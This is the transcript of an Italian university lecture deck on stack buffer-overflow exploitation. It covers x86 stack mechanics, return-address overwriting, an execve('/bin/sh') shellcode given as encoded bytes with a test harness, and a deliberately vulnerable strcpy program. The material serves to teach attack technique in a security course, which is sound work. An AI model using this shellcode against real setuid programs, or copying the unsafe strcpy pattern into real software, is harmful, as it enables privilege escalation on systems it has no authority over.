Slide
Transcript
Slide
Elementi di sicurezza e Privatezza Lezione 8: memory error exploit Situazione • I meccanismi di controllo degli accessi consentono un controllo particolarmente efficace su “chi può fare cosa” in un sistema • Solo l’utente root non è sottoposto a questi controlli • Un utente può però solo eseguire determinate attività (programmi Setuid) come root • Se si riesce a forzare questi programmi a “fare altro”, questo “altro” sarà eseguito senza alcuna forma di controllo A.A. 2011/2012 2 Corso: Sicurezza & Privatezza © Danilo Bruschi Overwriting of arbitrary memory in the writeable process space with arbitrary data • The holy grail of exploitation is to take control of the instruction pointer of a process • In a two-stage process, first a safed instruction pointer is overwritten and then the program executes a legitimate instruction that transfers control to the attacker-supplied address. • We will examine different ways to accomplish this A.A. 2011/2012 3 Corso: Sicurezza & Privatezza © Danilo Bruschi Obiettivo • Forzare un programma, che possibilmente opera con i diritti di root (administrator), a svolgere delle operazioni che NON è stato programmato a svolgere • Modificare il control flow di un programma, forzando il programma ad eseguire altro codice che sarà eseguito con i diritti di root A.A. 2011/2012 4 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer overflow Organizzazione della memoria A.A. 2011/2012 6 Corso: Sicurezza & Privatezza © Danilo Bruschi Stack • Uno stack è una zona di memoria Last-In First-Out (LIFO), molte CPU hanno istruzioni interne per accedere a questa zona di memoria • L istruzione PUSH aggiunge dati sullo stack e la POP li rimuove • Il dato rimosso è sempre l ultimo caricato • Lo stack attivo è quello indirizzato dal registro SS • Il registro ESP contiene sempre l indirizzo dell ultimo dato caricato sullo stack (top of the stack) A.A. 2011/2012 7 Corso: Sicurezza & Privatezza © Danilo Bruschi PUSH • The PUSH instruction inserts a double word on the stack by subtracting 4 from ESP and then stores the double word at [ESP] ! pushl src ! ! ! ! à ! !subl $4,%esp! !movl src,(%esp)! • The 80x86 also provides a PUSHA instruction that pushes the values of EAX, EBX, ECX, EDX, ESI, EDI and EBP registers (not in this order) A.A. 2011/2012 8 Corso: Sicurezza & Privatezza © Danilo Bruschi POP • The POP instruction reads the double word at [ESP] and then adds 4 to ESP !popl dest ! ! ! ! à movl (%esp),dest! ! addl $4,%esp! • The popa instruction, recovers the orginal values of the registers saved by the pusha! A.A. 2011/2012 9 Corso: Sicurezza & Privatezza © Danilo Bruschi CALL/RET • Lo stack è usato per la gestione delle subroutine • L architettura 80x86 fornisce a questo proposito due istruzioni ad hoc • CALL esegue un salto incondizionato ad un sottoprogramma ed effettua sullo stack una push dell indirizzo di ritorno • L istruzione RET esegue la pop di un indirizzo di ritorno ed effettua un salto incondizionato a quest ultimo A.A. 2011/2012 10 Corso: Sicurezza & Privatezza © Danilo Bruschi Implementation of Call • call subprogram1 becomes:! pushl %eip! jmp subprogram1 ! ! ! ! !ESP à! Saved A.A. 2011/2012 EIP! 11 Corso: Sicurezza & Privatezza © Danilo Bruschi Implementation of ret • ret becomes:! • pop %eip! ESP à! A.A. 2011/2012 Saved EIP! 12 Corso: Sicurezza & Privatezza © Danilo Bruschi EBP • Poiché può essere molto facile commettere errori usando il registro ESP per riferirsi ai diversi dati presenti sullo stack, l architettura 80x86 fornisce per questo scopo un ulteriore registro: EBP A.A. 2011/2012 13 Corso: Sicurezza & Privatezza © Danilo Bruschi Parametri e Variabili locali • Lo stack può anche essere convenientemente usato per memorizzare le variabili locali di un programma. Le variabili non statiche di un programma C sono memorizzate sullo stack • Lo stack viene anche usato per memorizzare i parametri di una procedura A.A. 2011/2012 14 Corso: Sicurezza & Privatezza © Danilo Bruschi Stack A.A. 2011/2012 15 Corso: Sicurezza & Privatezza © Danilo Bruschi Function Call A.A. 2011/2012 16 Corso: Sicurezza & Privatezza © Danilo Bruschi Function Call A.A. 2011/2012 17 Corso: Sicurezza & Privatezza © Danilo Bruschi Esempio: printf • L esecuzione dell istruzione • printf("x = %d\n",x); • Genera il seguente layout di stack A.A. 2011/2012 18 Corso: Sicurezza & Privatezza © Danilo Bruschi Considerazione • Una chiamata di procedura altera il flusso di controllo di un programma, allo stesso modo di un’istruzione di Jump, contrariamente ad una Jump però il controllo viene restituito, terminata l’esecuzione della procedura, all’istruzione il cui indirizzo è memorizzato nello stack A.A. 2011/2012 19 Corso: Sicurezza & Privatezza © Danilo Bruschi Modificare il flusso di controllo void function() {!char buffer1[4]; ! ! ! !int *ret; ! ! ! !ret = buffer1 + 8; ! ! ! !(*ret) += 8; !} ! ! void main() { !int x = 0; ! ! ! !function(); ! ! ! !x = 1; ! ! ! !printf("%d\n",x); A.A. 2011/2012 20 } ! Corso: Sicurezza & Privatezza © Danilo Bruschi Modificare il flusso di esecuzione A.A. 2011/2012 21 Corso: Sicurezza & Privatezza © Danilo Bruschi Modifying il flusso di controllo A.A. 2011/2012 22 Corso: Sicurezza & Privatezza © Danilo Bruschi Modificare il flusso di controllo A.A. 2011/2012 23 Corso: Sicurezza & Privatezza © Danilo Bruschi Modificare il flusso di controllo A.A. 2011/2012 24 Corso: Sicurezza & Privatezza © Danilo Bruschi Soluzione • On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack … • Written by : Aleph One First published on : Phrack A.A. 2011/2012 25 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer Overflows void function(char *str) { ! char buffer[8]; ! strcpy(buffer,str); } ! ! void main() ! { ! char large_string[256]; ! int i; ! for( i = 0; i < 255; i++) ! large_string[i] = 'A'; ! function(large_string); ! } ! A.A. 2011/2012 26 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer Overflows A.A. 2011/2012 27 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer Overflows A.A. 2011/2012 28 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer Overflows A.A. 2011/2012 29 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer Overflows A.A. 2011/2012 30 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer Overflows A.A. 2011/2012 31 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer Overflows A.A. 2011/2012 32 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer Overflows A.A. 2011/2012 33 Corso: Sicurezza & Privatezza © Danilo Bruschi Buffer Overflows A.A. 2011/2012 34 Corso: Sicurezza & Privatezza © Danilo Bruschi Conclusione • Attraverso un buffer overflow siamo in grado di modificare l indirizzo di rientro di una funzione. E quindi il flusso di controllo di un programma. A.A. 2011/2012 35 Corso: Sicurezza & Privatezza © Danilo Bruschi Quindi … • Ora che sappiamo di poter modificare il flusso di controllo di un programma, qual è il programma più conveniente da eseguire? A.A. 2011/2012 36 Corso: Sicurezza & Privatezza © Danilo Bruschi Quindi ?? • Ma questo programma non è contenuto nel programma che noi vogliamo exploitare? Come possiamo inserire queste istruzioni nel programma da exploitare? A.A. 2011/2012 37 Corso: Sicurezza & Privatezza © Danilo Bruschi Shell code • La risposta è la seguente: • caricare il codice che vogliamo eseguire in un buffer disponibile, • attraverso l overflow di questo buffer sovrascrivere il return address di modo che punti all interno del buffer stesso dove si trova il codice da eseguire A.A. 2011/2012 38 Corso: Sicurezza & Privatezza © Danilo Bruschi Cioè: *str Return address modificato S S S S S S S S S A.A. 2011/2012 39 Corso: Sicurezza & Privatezza © Danilo Bruschi Problemi da risolvere • Per realizzare questa tattica dobbiamo risolvere due problemi principali: • codificare il codice eseguibile da inserire sullo stack (shell code) • Riuscire a determinare il suo indirizzo di partenza ed inserirlo al posto del return address A.A. 2011/2012 40 Corso: Sicurezza & Privatezza © Danilo Bruschi Spawning a Shell #include <stdio.h> #include <stdlib.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); exit(0); } A.A. 2011/2012 41 Corso: Sicurezza & Privatezza © Danilo Bruschi Shell code ASM A.A. 2011/2012 42 Corso: Sicurezza & Privatezza © Danilo Bruschi Esercizio: Prova Shellcode char shellcode[] = "\xeb\x2a\x5e \xc6\x46\x07\x00\x89\x76\x08\xc7\x46\x0c\x00 \x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d \x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00 \xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } A.A. 2011/2012 43 Corso: Sicurezza & Privatezza © Danilo Bruschi Prova Shellcode A.A. 2011/2012 44 Corso: Sicurezza & Privatezza © Danilo Bruschi Testing the Shellcode A.A. 2011/2012 45 Corso: Sicurezza & Privatezza © Danilo Bruschi Schema programma vulnerabile • È possibile effettuare un BOF su questo programma? void main(int argc, char *argv[]) { char buffer[64]; if (argc > 1) strcpy(buffer,argv[1]); } A.A. 2011/2012 46 Corso: Sicurezza & Privatezza © Danilo Bruschi Smashing the Stack A.A. 2011/2012 47 Corso: Sicurezza & Privatezza © Danilo Bruschi Dangerous C system calls source: Building secure software, J. Viega & G. McGraw, 2002 A.A.482011/2012 Corso: Sicurezza & Privatezza © Danilo Bruschi